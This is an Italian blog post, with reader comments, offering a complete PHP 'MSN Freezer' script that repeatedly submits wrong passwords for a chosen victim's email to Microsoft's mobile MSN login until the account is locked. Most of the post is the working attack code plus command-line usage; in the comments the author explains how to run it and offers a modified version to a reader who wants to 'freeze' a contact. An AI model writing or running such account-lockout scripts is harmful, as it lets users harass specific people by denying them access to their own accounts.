45

Mirko P
Idee, scripts e qualche stronzata nerd :-P

MSN Freezer in PHP

Al solo scopo informativo, oggi vi presento un “Msn Freezer” scritto da me in PHP.
Il procedimento per creare uno di questi script è molto semplice. In pratica basta scrivere un’applicazione che prova ad eseguire il login in continuazione con l’email dell’utente da “freddare” ed una password errata.
Io mi sono avvalso del login per telefoni cellulare di Microsoft messenger:

http://mobile.msn.com/hm/folder.phpx

Dopodiché ho scritto un ciclo che appunto tenta e ritenta il login finché non appare un errore che segnala che non è possibile tentare di nuovo l’accesso.
Eccovi il codice:


<?
function getUrl($url, $method='', $vars='') {
    $agents = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)";
    $ch = curl_init();
    if ($method == 'post') {
        curl_setopt($ch, CURLOPT_POST, 1);
        if($vars!=NULL) {
            $fields = array();
            foreach($vars as $k => $v) {
                $fields[] = "$k=$v";
            }
            curl_setopt($ch, CURLOPT_POSTFIELDS, implode("&", $fields));
        }
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT,$agents);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '.muCookie');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '.muCookie');
    $buffer = curl_exec($ch);
    curl_close($ch);
    return $buffer;
}
function getData($data) {
    $explode = explode("&",$data);
    $return = array();
    foreach($explode as $dato) {
        $exp = explode("=",$dato);
        $return[$exp[0]] = $exp[1];
    }
    return $return;
}
function freeze($email){
    $random = sha1(time().rand(10000,99999));
    $data = getData("__EVENTTARGET=&__EVENTARGUMENT=&LoginTextBox=$email&PasswordTextBox=$random&SavePasswordCheckBox=0&PasswordSubmit=Sign in");
    $i = 0;
    $a = 0;
    while(true){
        $regex1 = '<meta http-equiv="refresh" content="0;url=(.+?)"/>';
        $get = getUrl('http://mobile.msn.com/hm/folder.phpx');
        preg_match($regex1,$get,$matches);
        $getUrl = getUrl("https://mid.live.com".$matches[1],"post",$data);
        if(eregi('The sign-in information you entered is incorrect. Please try again.',$getUrl)){
            if($a==0){
                echo("Sto freddando...\n");
            }
            $a = 1;
        }else{
            if($i==0){
                echo("Freddato. Premi CTRL+C per fermarmi.\n");
            }
            $i = 1;
        }
    }
}
freeze($argv[1]);
?>

Tale script va eseguito da php-cli (quindi da linea di comando). La sua sintassi è la seguente

php freezer.php [email]

Alla prossima!
Mirko


Posted by Mirko on July 12th, 2010 :: Filed under Scripts PHP
Tags :: , , , , , , , , ,
You can leave a response, or trackback from your own site.

4 Responses to “MSN Freezer in PHP”

  1. alphadog
    October 29th, 2010

    scusami, ma come si lancia quel comando “php-cli”? dove lo devo mettere?

  2. Mirko
    October 30th, 2010

    @AlphaDog:
    Installa PHP (per Winzoz scaricalo dal sito ufficiale o per le distro ubuntu installa il pacchetti php5-cli e php5-curl).
    Dopodiché (questo per winzoz) recati nella directory di PHP e lancia:
    php /percorso/freezer.php email
    per le distro linux invece, basta lanciare da qualsiasi directory lo stesso comando
    php /percorso/freezer.php email

    Ciao!
    Mirko

  3. Sam
    December 6th, 2010

    Ciao Mirko, io avreibisogno di freezare un contatto tramite il mio iphone, e’ possibile creare una pagina web, mandarla su un sito di hosting e poi aprire tale pagina tramite iphone?

  4. Mirko
    December 6th, 2010

    Ciao Sam,
    certo, con qualche piccola modifica ;)
    Se vuoi posso inviarti lo script modificato per email, contattami a:
    mirkos93[*at*]gmail.com
    Ciao!
    Mirko

Leave a Reply

Type your comment in the box below: